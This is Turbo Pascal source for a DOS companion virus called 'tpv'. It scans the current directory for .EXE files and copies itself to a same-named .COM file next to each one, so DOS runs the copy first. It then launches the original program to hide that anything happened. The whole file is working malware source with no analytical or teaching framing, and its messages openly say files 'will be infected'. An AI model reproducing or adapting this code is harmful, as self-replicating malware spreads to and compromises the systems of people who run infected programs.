|
|
program tpv;
uses dos;
var
tpv_paramstr: string;
tpv_execname: string;
tpv_found: integer;
tpv_zname: string;
tpv_source: string;
tpv_target: string;
tpv_first: string;
procedure tpv_search;
{ uses Dos; }
var
S: PathStr;
begin
tpv_found:=0;
S:= FSearch(tpv_zname,'.');
if S='' then WriteLn(output,tpv_zname,' not found')
else
begin { Show full path }
WriteLn('Found as ',FExpand(S),' (maybe infected)');
tpv_found:=1;
end; { else }
end;
procedure tpv_copy;
{ Simple copy program w/NO error checking }
var
FromF, ToF: file;
NumRead, NumWritten: Word;
buf: array[1..2048] of Char;
begin
writeln(output,'Copying from ',tpv_source,' to ',tpv_target); { Open input file }
Assign(FromF, tpv_source); { Record size = 1 }
Reset(FromF, 1); { Open output file }
Assign(ToF, tpv_target); { Record size = 1 }
Rewrite(ToF, 1);
WriteLn('Copying ', FileSize(FromF), ' bytes...');
repeat
BlockRead(FromF,buf, SizeOf(buf),NumRead);
BlockWrite(ToF,buf,NumRead,NumWritten);
until (NumRead = 0) or (NumWritten <> NumRead);
Close(FromF);
Close(ToF);
end;
procedure tpv_infect(tpv_file: string);
begin
tpv_zname:=copy(tpv_file,1,length(tpv_file)-4)+'.COM';
tpv_zname:=copy(tpv_file,1,length(tpv_file)-4)+'.COM';
tpv_search;
tpv_target:=tpv_zname;
if tpv_found=0 then
tpv_copy;
end;
procedure tpv_find;
{ uses Dos; }
var
DirInfo: SearchRec;
begin
FindFirst('*.EXE', Archive, DirInfo);
while DosError = 0 do
begin
WriteLn(DirInfo.Name,' will be infected');
tpv_infect(dirinfo.name);
FindNext(DirInfo);
end; { while }
end;
procedure get_paramstr;
var i: Word;
begin
tpv_source:=paramstr(0);
tpv_execname:=copy(tpv_source,1,length(tpv_source)-4)+'.EXE';
tpv_paramstr:=' ';
for i := 1 to ParamCount do
begin
{ WriteLn(ParamStr(i)); }
tpv_paramstr:=tpv_paramstr+paramstr(i)+' ';
end; { for }
end;
procedure tpv_exec;
{$M $4000,0,0 } { 16K stack, no heap }
{ uses Dos; }
var
ProgramName, CmdLine: string;
begin
programname:=tpv_execname;
cmdline:=tpv_paramstr;
Write('Program to Exec (full path): ');
writeln(ProgramName);
Write('Command line to pass to ',
ProgramName, ': ');
writeln(CmdLine);
WriteLn('About to Exec...');
writeln('----------------');
SwapVectors;
Exec(ProgramName, CmdLine);
SwapVectors;
writeln('-----------------');
WriteLn('...back from Exec');
if DosError <> 0 then { Error? }
WriteLn('Dos error #', DosError)
else
WriteLn('Exec successful. ',
'Child process exit code = ',
DosExitCode);
end;
begin
get_paramstr; { tpv_paramstr }
tpv_find;
tpv_first:=copy(tpv_source,length(tpv_source)-6,7);
{ writeln(output,tpv_first); }
if tpv_first <> 'TPV.COM' then
tpv_exec;
end.
|
